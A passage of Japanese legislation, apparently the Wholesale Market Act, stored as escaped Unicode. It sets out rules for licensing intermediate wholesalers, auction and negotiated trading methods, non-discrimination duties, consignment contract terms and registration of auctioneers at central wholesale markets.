09\u5341\u4e8c\u6761\n\n\n\u3000\u524a\u9664\n\n\n\n\uff08\u4ef2\u5378\u696d\u52d9\u306e\u8a31\u53ef\uff09\n\u7b2c\u4e09\u5341\u4e09\u6761\n\n\u3000\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u4ef2\u5378\u3057\u306e\u696d\u52d9\u306f\u3001\u958b\u8a2d\u8005\u306e\u8a31\u53ef\u3092\u53d7\u3051\u305f\u8005\u3067\u306a\u3051\u308c\u3070\u3001\u884c\u3064\u3066\u306f\u306a\u3089\u306a\u3044\u3002\n\n\uff12\n\n\u3000\u524d\u9805\u306e\u8a31\u53ef\u306f\u3001\u5e02\u5834\u53ca\u3073\u53d6\u6271\u54c1\u76ee\u306e\u90e8\u985e\u3054\u3068\u306b\u884c\u306a\u3046\u3002\n\n\uff13\n\n\u3000\u958b\u8a2d\u8005\u306f\u3001\u6b21\u9805\u306e\u898f\u5b9a\u306b\u3088\u308a\u4ef2\u5378\u3057\u306e\u696d\u52d9\u3092\u884c\u306a\u3046\u8005\u3092\u7f6e\u304b\u306a\u3044\u65e8\u306e\u5b9a\u3081\u3092\u3057\u305f\u5e02\u5834\u53ca\u3073\u53d6\u6271\u54c1\u76ee\u306e\u90e8\u985e\u3092\u9664\u304d\u3001\u5e02\u5834\u53ca\u3073\u53d6\u6271\u54c1\u76ee\u306e\u90e8\u985e\u3054\u3068\u306b\u3001\u696d\u52d9\u898f\u7a0b\u3067\u3001\u4ef2\u5378\u3057\u306e\u696d\u52d9\u3092\u884c\u306a\u3046\u8005\u306e\u8a31\u53ef\u306e\u57fa\u6e96\u3001\u6570\u306e\u6700\u9ad8\u9650\u5ea6\u3001\u4fdd\u8a3c\u91d1\u305d\u306e\u4ed6\u8fb2\u6797\u6c34\u7523\u7701\u4ee4\u3067\u5b9a\u3081\u308b\u4e8b\u9805\u3092\u5b9a\u3081\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff14\n\n\u3000\u958b\u8a2d\u8005\u306f\u3001\u5e02\u5834\u306e\u696d\u52d9\u306e\u898f\u6a21\u3001\u53d6\u6271\u54c1\u76ee\u306e\u6027\u8cea\u3001\u53d6\u5f15\u306e\u72b6\u6cc1\u7b49\u306b\u7167\u3089\u3057\u3001\u5e02\u5834\u53ca\u3073\u53d6\u6271\u54c1\u76ee\u306e\u5168\u90e8\u53c8\u306f\u4e00\u90e8\u306b\u3064\u3044\u3066\u4ef2\u5378\u3057\u306e\u696d\u52d9\u3092\u884c\u306a\u3046\u8005\u3092\u7f6e\u304f\u5fc5\u8981\u304c\u306a\u3044\u3068\u8a8d\u3081\u308b\u3068\u304d\u306f\u3001\u696d\u52d9\u898f\u7a0b\u3067\u3001\u4ef2\u5378\u3057\u306e\u696d\u52d9\u3092\u884c\u306a\u3046\u8005\u3092\u7f6e\u304b\u306a\u3044\u5e02\u5834\u53ca\u3073\u53d6\u6271\u54c1\u76ee\u306e\u90e8\u985e\u3092\u5b9a\u3081\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3002\n\n\n\n\u3000\u3000\u3000\u3000\u7b2c\u4e09\u7bc0\u3000\u58f2\u8cb7\u53d6\u5f15\n\n\n\uff08\u58f2\u8cb7\u53d6\u5f15\u306e\u539f\u5247\uff09\n\u7b2c\u4e09\u5341\u56db\u6761\n\n\u3000\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u58f2\u8cb7\u53d6\u5f15\u306f\u3001\u516c\u6b63\u304b\u3064\u52b9\u7387\u7684\u3067\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\n\n\uff08\u58f2\u8cb7\u53d6\u5f15\u306e\u65b9\u6cd5\uff09\n\u7b2c\u4e09\u5341\u4e94\u6761\n\n\u3000\u5378\u58f2\u696d\u8005\u306f\u3001\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3044\u3066\u884c\u3046\u5378\u58f2\u306b\u3064\u3044\u3066\u306f\u3001\u6b21\u306e\u5404\u53f7\u306b\u63b2\u3052\u308b\u751f\u9bae\u98df\u6599\u54c1\u7b49\u306e\u533a\u5206\u306b\u5fdc\u3058\u3001\u5f53\u8a72\u5404\u53f7\u306b\u63b2\u3052\u308b\u58f2\u8cb7\u53d6\u5f15\u306e\u65b9\u6cd5\u306b\u3088\u3089\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\u4e00\n\n\u3000\u305b\u308a\u58f2\u53c8\u306f\u5165\u672d\u306e\u65b9\u6cd5\u306b\u3088\u308b\u3053\u3068\u304c\u9069\u5f53\u3067\u3042\u308b\u751f\u9bae\u98df\u6599\u54c1\u7b49\u3068\u3057\u3066\u696d\u52d9\u898f\u7a0b\u3067\u5b9a\u3081\u308b\u3082\u306e\u3000\u305b\u308a\u58f2\u53c8\u306f\u5165\u672d\u306e\u65b9\u6cd5\n\n\u4e8c\n\n\u3000\u6bce\u65e5\u306e\u5378\u58f2\u4e88\u5b9a\u6570\u91cf\u306e\u3046\u3061\u5c11\u306a\u304f\u3068\u3082\u4e00\u5b9a\u306e\u5272\u5408\u306b\u76f8\u5f53\u3059\u308b\u90e8\u5206\u306b\u3064\u3044\u3066\u305b\u308a\u58f2\u53c8\u306f\u5165\u672d\u306e\u65b9\u6cd5\u306b\u3088\u308b\u3053\u3068\u304c\u9069\u5f53\u3067\u3042\u308b\u751f\u9bae\u98df\u6599\u54c1\u7b49\u3068\u3057\u3066\u696d\u52d9\u898f\u7a0b\u3067\u5b9a\u3081\u308b\u3082\u306e\u3000\u6bce\u65e5\u306e\u5378\u58f2\u4e88\u5b9a\u6570\u91cf\u306e\u3046\u3061\u3001\u958b\u8a2d\u8005\u304c\u751f\u9bae\u98df\u6599\u54c1\u7b49\u306e\u54c1\u76ee\u3054\u3068\u306b\u5b9a\u3081\u308b\u4e00\u5b9a\u306e\u5272\u5408\u306b\u76f8\u5f53\u3059\u308b\u90e8\u5206\u306b\u3064\u3044\u3066\u306f\u305b\u308a\u58f2\u53c8\u306f\u5165\u672d\u306e\u65b9\u6cd5\u3001\u305d\u308c\u4ee5\u5916\u306e\u90e8\u5206\u306b\u3064\u3044\u3066\u306f\u305b\u308a\u58f2\u82e5\u3057\u304f\u306f\u5165\u672d\u306e\u65b9\u6cd5\u53c8\u306f\u76f8\u5bfe\u306b\u3088\u308b\u53d6\u5f15\u306e\u65b9\u6cd5\uff08\u4e00\u306e\u5378\u58f2\u696d\u8005\u3068\u4e00\u306e\u5378\u58f2\u306e\u76f8\u624b\u65b9\u304c\u500b\u5225\u306b\u58f2\u8cb7\u53d6\u5f15\u3092\u884c\u3046\u65b9\u6cd5\u3092\u3044\u3044\u3001\u4ee5\u4e0b\u300c\u76f8\u5bfe\u53d6\u5f15\u300d\u3068\u3044\u3046\u3002\uff09\n\n\u4e09\n\n\u3000\u524d\u4e8c\u53f7\u4ee5\u5916\u306e\u751f\u9bae\u98df\u6599\u54c1\u7b49\u3068\u3057\u3066\u696d\u52d9\u898f\u7a0b\u3067\u5b9a\u3081\u308b\u3082\u306e\u3000\u305b\u308a\u58f2\u82e5\u3057\u304f\u306f\u5165\u672d\u306e\u65b9\u6cd5\u53c8\u306f\u76f8\u5bfe\u53d6\u5f15\n\n\n\uff12\n\n\u3000\u524d\u9805\u7b2c\u4e00\u53f7\u53ca\u3073\u7b2c\u4e8c\u53f7\u306b\u63b2\u3052\u308b\u751f\u9bae\u98df\u6599\u54c1\u7b49\uff08\u540c\u9805\u7b2c\u4e8c\u53f7\u306b\u63b2\u3052\u308b\u751f\u9bae\u98df\u6599\u54c1\u7b49\u306b\u3042\u3064\u3066\u306f\u3001\u540c\u53f7\u306e\u4e00\u5b9a\u306e\u5272\u5408\u306b\u76f8\u5f53\u3059\u308b\u90e8\u5206\u306b\u9650\u308b\u3002\uff09\u306b\u3064\u3044\u3066\u306f\u3001\u707d\u5bb3\u306e\u767a\u751f\u305d\u306e\u4ed6\u306e\u8fb2\u6797\u6c34\u7523\u7701\u4ee4\u3067\u5b9a\u3081\u308b\u7279\u5225\u306e\u4e8b\u60c5\u304c\u3042\u308b\u5834\u5408\u3067\u3042\u3064\u3066\u3001\u696d\u52d9\u898f\u7a0b\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u3001\u958b\u8a2d\u8005\u304c\u305b\u308a\u58f2\u53c8\u306f\u5165\u672d\u306e\u65b9\u6cd5\u306b\u3088\u308b\u3053\u3068\u304c\u8457\u3057\u304f\u4e0d\u9069\u5f53\u3068\u8a8d\u3081\u305f\u3068\u304d\u306f\u3001\u540c\u9805\u306e\u898f\u5b9a\u306b\u304b\u304b\u308f\u3089\u305a\u3001\u76f8\u5bfe\u53d6\u5f15\u306b\u3088\u308b\u3053\u3068\u304c\u3067\u304d\u308b\u3082\u306e\u3068\u3059\u308b\u3002\n\n\uff13\n\n\u3000\u7b2c\u4e00\u9805\u7b2c\u4e8c\u53f7\u53ca\u3073\u7b2c\u4e09\u53f7\u306b\u63b2\u3052\u308b\u751f\u9bae\u98df\u6599\u54c1\u7b49\u306b\u3064\u3044\u3066\u306f\u3001\u5f53\u8a72\u5e02\u5834\u306b\u304a\u3051\u308b\u5165\u8377\u91cf\u304c\u4e00\u6642\u7684\u306b\u8457\u3057\u304f\u6e1b\u5c11\u3057\u305f\u3068\u304d\u305d\u306e\u4ed6\u306e\u8fb2\u6797\u6c34\u7523\u7701\u4ee4\u3067\u5b9a\u3081\u308b\u7279\u5225\u306e\u4e8b\u60c5\u304c\u3042\u308b\u5834\u5408\u3067\u3042\u3064\u3066\u3001\u696d\u52d9\u898f\u7a0b\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u3001\u958b\u8a2d\u8005\u304c\u6307\u793a\u3057\u305f\u3068\u304d\u306f\u3001\u540c\u9805\u306e\u898f\u5b9a\u306b\u304b\u304b\u308f\u3089\u305a\u3001\u305b\u308a\u58f2\u53c8\u306f\u5165\u672d\u306e\u65b9\u6cd5\u306b\u3088\u3089\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff14\n\n\u3000\u958b\u8a2d\u8005\u306f\u3001\u7b2c\u4e00\u9805\u7b2c\u4e8c\u53f7\u306e\u4e00\u5b9a\u306e\u5272\u5408\u3092\u5b9a\u3081\u3001\u53c8\u306f\u5909\u66f4\u3057\u305f\u3068\u304d\u306f\u3001\u901f\u3084\u304b\u306b\u516c\u8868\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff15\n\n\u3000\u7b2c\u5341\u4e00\u6761\u7b2c\u4e8c\u9805\u306e\u898f\u5b9a\u306f\u3001\u958b\u8a2d\u8005\u304c\u7b2c\u4e00\u9805\u7b2c\u4e8c\u53f7\u306e\u4e00\u5b9a\u306e\u5272\u5408\u3092\u5b9a\u3081\u3001\u53c8\u306f\u5909\u66f4\u3059\u308b\u3068\u304d\u306b\u3064\u3044\u3066\u6e96\u7528\u3059\u308b\u3002\n\n\n\n\uff08\u5dee\u5225\u7684\u53d6\u6271\u3044\u306e\u7981\u6b62\u7b49\uff09\n\u7b2c\u4e09\u5341\u516d\u6761\n\n\u3000\u5378\u58f2\u696d\u8005\u306f\u3001\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u5378\u58f2\u306e\u696d\u52d9\u306b\u95a2\u3057\u3001\u51fa\u8377\u8005\u53c8\u306f\u4ef2\u5378\u696d\u8005\u82e5\u3057\u304f\u306f\u58f2\u8cb7\u53c2\u52a0\u8005\uff08\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3044\u3066\u5378\u58f2\u696d\u8005\u304b\u3089\u5378\u58f2\u3092\u53d7\u3051\u308b\u3053\u3068\u306b\u3064\u304d\u5e02\u5834\u53ca\u3073\u53d6\u6271\u54c1\u76ee\u306e\u90e8\u985e\u3054\u3068\u306b\u696d\u52d9\u898f\u7a0b\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u958b\u8a2d\u8005\u306e\u627f\u8a8d\u3092\u53d7\u3051\u305f\u8005\u3092\u3044\u3046\u3002\u4ee5\u4e0b\u540c\u3058\u3002\uff09\u306b\u5bfe\u3057\u3066\u3001\u4e0d\u5f53\u306b\u5dee\u5225\u7684\u306a\u53d6\u6271\u3044\u3092\u3057\u3066\u306f\u306a\u3089\u306a\u3044\u3002\n\n\uff12\n\n\u3000\u5378\u58f2\u696d\u8005\u306f\u3001\u7b2c\u5341\u4e94\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u306b\u4fc2\u308b\u53d6\u6271\u54c1\u76ee\u306e\u90e8\u985e\u306b\u5c5e\u3059\u308b\u751f\u9bae\u98df\u6599\u54c1\u7b49\u306b\u3064\u3044\u3066\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u5378\u58f2\u306e\u305f\u3081\u306e\u8ca9\u58f2\u306e\u59d4\u8a17\u306e\u7533\u8fbc\u307f\u304c\u3042\u3064\u305f\u5834\u5408\u306b\u306f\u3001\u6b63\u5f53\u306a\u7406\u7531\u304c\u306a\u3051\u308c\u3070\u3001\u305d\u306e\u5f15\u53d7\u3051\u3092\u62d2\u3093\u3067\u306f\u306a\u3089\u306a\u3044\u3002\n\n\n\n\uff08\u5378\u58f2\u306e\u76f8\u624b\u65b9\u306e\u5236\u9650\uff09\n\u7b2c\u4e09\u5341\u4e03\u6761\n\n\u3000\u5378\u58f2\u696d\u8005\u306f\u3001\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u5378\u58f2\u306e\u696d\u52d9\u306b\u3064\u3044\u3066\u306f\u3001\u4ef2\u5378\u696d\u8005\u53ca\u3073\u58f2\u8cb7\u53c2\u52a0\u8005\uff08\u305d\u306e\u5378\u58f2\u696d\u8005\u306e\u5f53\u8a72\u5378\u58f2\u306e\u696d\u52d9\u306b\u4fc2\u308b\u5e02\u5834\u53ca\u3073\u53d6\u6271\u54c1\u76ee\u306e\u90e8\u985e\u3068\u540c\u4e00\u306e\u5e02\u5834\u53ca\u3073\u53d6\u6271\u54c1\u76ee\u306e\u90e8\u985e\u306b\u3064\u3044\u3066\u7b2c\u4e09\u5341\u4e09\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u3092\u53d7\u3051\u305f\u4ef2\u5378\u696d\u8005\u4e26\u3073\u306b\u5f53\u8a72\u540c\u4e00\u306e\u5e02\u5834\u53ca\u3073\u53d6\u6271\u54c1\u76ee\u306e\u90e8\u985e\u306b\u3064\u3044\u3066\u524d\u6761\u7b2c\u4e00\u9805\u306b\u898f\u5b9a\u3059\u308b\u627f\u8a8d\u3092\u53d7\u3051\u305f\u58f2\u8cb7\u53c2\u52a0\u8005\u306b\u9650\u308b\u3002\u4ee5\u4e0b\u3053\u306e\u6761\u306b\u304a\u3044\u3066\u540c\u3058\u3002\uff09\u4ee5\u5916\u306e\u8005\u306b\u5bfe\u3057\u3066\u5378\u58f2\u3092\u3057\u3066\u306f\u306a\u3089\u306a\u3044\u3002\u305f\u3060\u3057\u3001\u5f53\u8a72\u5e02\u5834\u306b\u304a\u3051\u308b\u5165\u8377\u91cf\u304c\u8457\u3057\u304f\u591a\u304f\u6b8b\u54c1\u3092\u751f\u305a\u308b\u304a\u305d\u308c\u304c\u3042\u308b\u5834\u5408\u305d\u306e\u4ed6\u306e\u8fb2\u6797\u6c34\u7523\u7701\u4ee4\u3067\u5b9a\u3081\u308b\u7279\u5225\u306e\u4e8b\u60c5\u304c\u3042\u308b\u5834\u5408\u3067\u3042\u3064\u3066\u3001\u696d\u52d9\u898f\u7a0b\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u3001\u958b\u8a2d\u8005\u304c\u4ef2\u5378\u696d\u8005\u53ca\u3073\u58f2\u8cb7\u53c2\u52a0\u8005\u306e\u8cb7\u53d7\u3051\u3092\u4e0d\u5f53\u306b\u5236\u9650\u3059\u308b\u3053\u3068\u3068\u306a\u3089\u306a\u3044\u3068\u8a8d\u3081\u305f\u3068\u304d\u306f\u3001\u3053\u306e\u9650\u308a\u3067\u306a\u3044\u3002\n\n\n\n\u7b2c\u4e09\u5341\u516b\u6761\n\n\n\u3000\u524a\u9664\n\n\n\n\uff08\u5e02\u5834\u5916\u306b\u3042\u308b\u7269\u54c1\u306e\u5378\u58f2\u306e\u7981\u6b62\uff09\n\u7b2c\u4e09\u5341\u4e5d\u6761\n\n\u3000\u5378\u58f2\u696d\u8005\u306f\u3001\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u5378\u58f2\u306e\u696d\u52d9\u306b\u3064\u3044\u3066\u306f\u3001\u305d\u306e\u8005\u304c\u7b2c\u5341\u4e94\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u3092\u53d7\u3051\u3066\u5378\u58f2\u306e\u696d\u52d9\u3092\u884c\u3046\u5e02\u5834\u5185\u306b\u3042\u308b\u751f\u9bae\u98df\u6599\u54c1\u7b49\u4ee5\u5916\u306e\u751f\u9bae\u98df\u6599\u54c1\u7b49\u306e\u5378\u58f2\u3092\u3057\u3066\u306f\u306a\u3089\u306a\u3044\u3002\u305f\u3060\u3057\u3001\u6b21\u306e\u5404\u53f7\u306e\u3044\u305a\u308c\u304b\u306b\u8a72\u5f53\u3059\u308b\u5834\u5408\u306f\u3001\u3053\u306e\u9650\u308a\u3067\u306a\u3044\u3002\n\u4e00\n\n\u3000\u5f53\u8a72\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u4fc2\u308b\u958b\u8a2d\u533a\u57df\u5185\u306b\u304a\u3044\u3066\u958b\u8a2d\u8005\u304c\u6307\u5b9a\u3059\u308b\u5834\u6240\uff08\u8fb2\u6797\u6c34\u7523\u7701\u4ee4\u3067\u5b9a\u3081\u308b\u7279\u5225\u306e\u4e8b\u60c5\u304c\u3042\u308b\u5834\u5408\u306b\u304a\u3044\u3066\u3001\u8fb2\u6797\u6c34\u7523\u7701\u4ee4\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u3001\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u304c\u5f53\u8a72\u958b\u8a2d\u533a\u57df\u306e\u5468\u8fba\u306e\u5730\u57df\u306b\u304a\u3051\u308b\u4e00\u5b9a\u306e\u5834\u6240\u3092\u6307\u5b9a\u3057\u305f\u3068\u304d\u306f\u3001\u305d\u306e\u5834\u6240\u3092\u542b\u3080\u3002\uff09\u306b\u3042\u308b\u751f\u9bae\u98df\u6599\u54c1\u7b49\u306e\u5378\u58f2\u3092\u3059\u308b\u3068\u304d\u3002\n\n\u4e8c\n\n\u3000\u958b\u8a2d\u8005\u304c\u3001\u8fb2\u6797\u6c34\u7523\u7701\u4ee4\u3067\u5b9a\u3081\u308b\u57fa\u6e96\u306b\u5f93\u3044\u696d\u52d9\u898f\u7a0b\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u3001\u5f53\u8a72\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u4fc2\u308b\u958b\u8a2d\u533a\u57df\u5185\u306b\u304a\u3044\u3066\u5378\u58f2\u696d\u8005\u304c\u7533\u8acb\u3057\u305f\u5834\u6240\u306b\u3042\u308b\u751f\u9bae\u98df\u6599\u54c1\u7b49\u306e\u5378\u58f2\u3092\u3059\u308b\u3053\u3068\u53c8\u306f\u96fb\u5b50\u60c5\u5831\u51e6\u7406\u7d44\u7e54\u3092\u4f7f\u7528\u3059\u308b\u53d6\u5f15\u65b9\u6cd5\u305d\u306e\u4ed6\u306e\u60c5\u5831\u901a\u4fe1\u306e\u6280\u8853\u3092\u5229\u7528\u3059\u308b\u53d6\u5f15\u65b9\u6cd5\u306b\u3088\u308a\u751f\u9bae\u98df\u6599\u54c1\u7b49\u306e\u5378\u58f2\u3092\u3059\u308b\u3053\u3068\u306b\u3064\u3044\u3066\u3001\u5f53\u8a72\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u52b9\u7387\u7684\u306a\u58f2\u8cb7\u53d6\u5f15\u306e\u305f\u3081\u306b\u5fc5\u8981\u3067\u3042\u308a\u3001\u304b\u3064\u3001\u53d6\u5f15\u306e\u79e9\u5e8f\u3092\u4e71\u3059\u304a\u305d\u308c\u304c\u306a\u3044\u3068\u8a8d\u3081\u305f\u3068\u304d\u3002\n\n\n\n\n\uff08\u5378\u58f2\u696d\u8005\u306b\u3064\u3044\u3066\u306e\u5378\u58f2\u306e\u76f8\u624b\u65b9\u3068\u3057\u3066\u306e\u8cb7\u53d7\u3051\u306e\u7981\u6b62\uff09\n\u7b2c\u56db\u5341\u6761\n\n\u3000\u5378\u58f2\u696d\u8005\uff08\u305d\u306e\u5f79\u54e1\u53ca\u3073\u4f7f\u7528\u4eba\u3092\u542b\u3080\u3002\uff09\u306f\u3001\u305d\u306e\u8005\u304c\u7b2c\u5341\u4e94\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u3092\u53d7\u3051\u3066\u5378\u58f2\u306e\u696d\u52d9\u3092\u884c\u306a\u3046\u5e02\u5834\u306b\u304a\u3044\u3066\u305d\u306e\u8a31\u53ef\u306b\u4fc2\u308b\u53d6\u6271\u54c1\u76ee\u306e\u90e8\u985e\u306b\u5c5e\u3059\u308b\u751f\u9bae\u98df\u6599\u54c1\u7b49\u306b\u3064\u3044\u3066\u3055\u308c\u308b\u5378\u58f2\u306e\u76f8\u624b\u65b9\u3068\u3057\u3066\u3001\u751f\u9bae\u98df\u6599\u54c1\u7b49\u3092\u8cb7\u3044\u53d7\u3051\u3066\u306f\u306a\u3089\u306a\u3044\u3002\n\n\n\n\u7b2c\u56db\u5341\u4e00\u6761\n\n\n\u3000\u524a\u9664\n\n\n\n\uff08\u53d7\u8a17\u5951\u7d04\u7d04\u6b3e\uff09\n\u7b2c\u56db\u5341\u4e8c\u6761\n\n\u3000\u5378\u58f2\u696d\u8005\u306f\u3001\u696d\u52d9\u898f\u7a0b\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u3001\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u5378\u58f2\u306e\u305f\u3081\u306e\u8ca9\u58f2\u306e\u59d4\u8a17\u306e\u5f15\u53d7\u3051\u306b\u3064\u3044\u3066\u53d7\u8a17\u5951\u7d04\u7d04\u6b3e\u3092\u5b9a\u3081\u3001\u958b\u8a2d\u8005\u306e\u627f\u8a8d\u3092\u53d7\u3051\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\u3053\u308c\u3092\u5909\u66f4\u3057\u3088\u3046\u3068\u3059\u308b\u3068\u304d\u3082\u3001\u540c\u69d8\u3068\u3059\u308b\u3002\n\n\uff12\n\n\u3000\u958b\u8a2d\u8005\u306f\u3001\u524d\u9805\u306e\u627f\u8a8d\u3092\u3057\u305f\u3068\u304d\u306f\u3001\u9045\u6ede\u306a\u304f\u3001\u5f53\u8a72\u53d7\u8a17\u5951\u7d04\u7d04\u6b3e\u3092\u8fb2\u6797\u6c34\u7523\u5927\u81e3\u306b\u5c4a\u3051\u51fa\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\n\n\uff08\u305b\u308a\u4eba\u306e\u767b\u9332\uff09\n\u7b2c\u56db\u5341\u4e09\u6761\n\n\u3000\u5378\u58f2\u696d\u8005\u304c\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3044\u3066\u884c\u306a\u3046\u5378\u58f2\u306e\u305b\u308a\u4eba\u306f\u3001\u305d\u306e\u8005\u306b\u3064\u3044\u3066\u5f53\u8a72\u5378\u58f2\u696d\u8005\u304c\u958b\u8a2d\u8005\u306e\u884c\u306a\u3046\u767b\u9332\u3092\u53d7\u3051\u3066\u3044\u308b\u8005\u3067\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff12\n\n\u3000\u958b\u8a2d\u8005\u306f\u3001\u8fb2\u6797\u6c34\u7523\u7701\u4ee4\u3067\u5b9a\u3081\u308b\u57fa\u6e96\u306b\u5f93\u3044\u3001\u696d\u52d9\u898f\u7a0b\u306b\u304a\u3044\u3066\u3001\u524d\u9805\u306e\u767b\u9332\u306b\u4fc2\u308b\u305b\u308a\u4eba\u306e\u8cc7\u683c\u305d\u306e\u4ed6\u5f53\u8a72\u767b\u9332\u306b\u95a2\u3057\u5fc5\u8981\u306a\u4e8b\u9805\u3092\u5b9a\u3081\u3001\u305d\u306e\u767b\u9332\u3092\u884c\u306a\u308f\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff13\n\n\u3000\u958b\u8a2d\u8005\u306f\u3001\u7b2c\u4e00\u9805\u306e\u767b\u9332\u306b\u4fc2\u308b\u305b\u308a\u4eba\u304c\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u5378\u58f2\u306e\u516c\u6b63\u3092\u5bb3\u3057\u53c8\u306f\u5bb3\u3059\u308b\u304a\u305d\u308c\u304c\u3042\u308b\u884c\u70ba\u3092\u3057\u305f\u3068\u304d\u306f\u3001\u696d\u52d9\u898f\u7a0b\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u3001\u305d\u306e\u8005\u306b\u4fc2\u308b\u540c\u9805\u306e\u767b\u9332\u3092\u53d6\u308a\u6d88\u3057\u3001\u53c8\u306f\u305d\u306e\u8005\u304c\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u5378\u58f2\u306e\u305b\u308a\u3092\u884c\u306a\u3046\u3053\u3068\u3092\u5236\u9650\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\n\n\uff08\u4ef2\u5378\u696d\u8005\u306e\u696d\u52d9\u306e\u898f\u5236\uff09\n\u7b2c\u56db\u5341\u56db\u6761\n\n\u3000\u4ef2\u5378\u696d\u8005\u306f\u3001\u7b2c\u4e09\u5341\u4e09\u6761\u7b2c\u4e00\u9805\u306e\u8a31\u53ef\u3092\u53d7\u3051\u3066\u4ef2\u5378\u3057\u306e\u696d\u52d9\u3092\u884c\u3046\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u696d\u52d9\u306b\u3064\u3044\u3066\u306f\u3001\u6b21\u306e\u5404\u53f7\u306b\u63b2\u3052\u308b\u884c\u70ba\u3092\u3057\u3066\u306f\u306a\u3089\u306a\u3044\u3002\u305f\u3060\u3057\u3001\u7b2c\u4e8c\u53f7\u306b\u63b2\u3052\u308b\u884c\u70ba\u306b\u3064\u3044\u3066\u306f\u3001\u4ef2\u5378\u696d\u8005\u304c\u305d\u306e\u8a31\u53ef\u306b\u4fc2\u308b\u53d6\u6271\u54c1\u76ee\u306e\u90e8\u985e\u306b\u5c5e\u3059\u308b\u751f\u9bae\u98df\u6599\u54c1\u7b49\u3092\u5f53\u8a72\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306e\u5378\u58f2\u696d\u8005\u304b\u3089\u8cb7\u3044\u5165\u308c\u308b\u3053\u3068\u304c\u56f0\u96e3\u306a\u5834\u5408\u3067\u3042\u3064\u3066\u3001\u8fb2\u6797\u6c34\u7523\u7701\u4ee4\u3067\u5b9a\u3081\u308b\u57fa\u6e96\u306b\u5f93\u3044\u696d\u52d9\u898f\u7a0b\u3067\u5b9a\u3081\u308b\u3068\u3053\u308d\u306b\u3088\u308a\u3001\u958b\u8a2d\u8005\u304c\u5f53\u8a72\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u53d6\u5f15\u306e\u79e9\u5e8f\u3092\u4e71\u3059\u304a\u305d\u308c\u304c\u306a\u3044\u3068\u8a8d\u3081\u305f\u3068\u304d\u306f\u3001\u3053\u306e\u9650\u308a\u3067\u306a\u3044\u3002\n\u4e00\n\n\u3000\u305d\u306e\u8a31\u53ef\u306b\u4fc2\u308b\u53d6\u6271\u54c1\u76ee\u306e\u90e8\u985e\u306b\u5c5e\u3059\u308b\u751f\u9bae\u98df\u6599\u54c1\u7b49\u306b\u3064\u3044\u3066\u8ca9\u58f2\u306e\u59d4\u8a17\u306e\u5f15\u53d7\u3051\u3092\u3059\u308b\u3053\u3068\u3002\n\n\u4e8c\n\n\u3000\u305d\u306e\u8a31\u53ef\u306b\u4fc2\u308b\u53d6\u6271\u54c1\u76ee\u306e\u90e8\u985e\u306b\u5c5e\u3059\u308b\u751f\u9bae\u98df\u6599\u54c1\u7b49\u3092\u5f53\u8a72\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306e\u5378\u58f2\u696d\u8005\u4ee5\u5916\u306e\u8005\u304b\u3089\u8cb7\u3044\u5165\u308c\u3066\u8ca9\u58f2\u3059\u308b\u3053\u3068\u3002\n\n\n\n\n\uff08\u6c7a\u6e08\u306e\u78ba\u4fdd\uff09\n\u7b2c\u56db\u5341\u56db\u6761\u306e\u4e8c\n\n\u3000\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u304a\u3051\u308b\u58f2\u8cb7\u53d6\u5f15\uff08\u5378\u58f2\u306e\u305f\u3081\u306e\u8ca9\u58f2\u306e\u59d4\u8a17\u306e\u5f15\u53d7\u3051\u3092\u542b\u3080\u3002\uff09\u3092\u884c\u3046\u8005\u306e\u6c7a\u6e08\u306f\u3001\u652f\u6255\u671f\u65e5\u3001\u652f\u6255\u65b9\u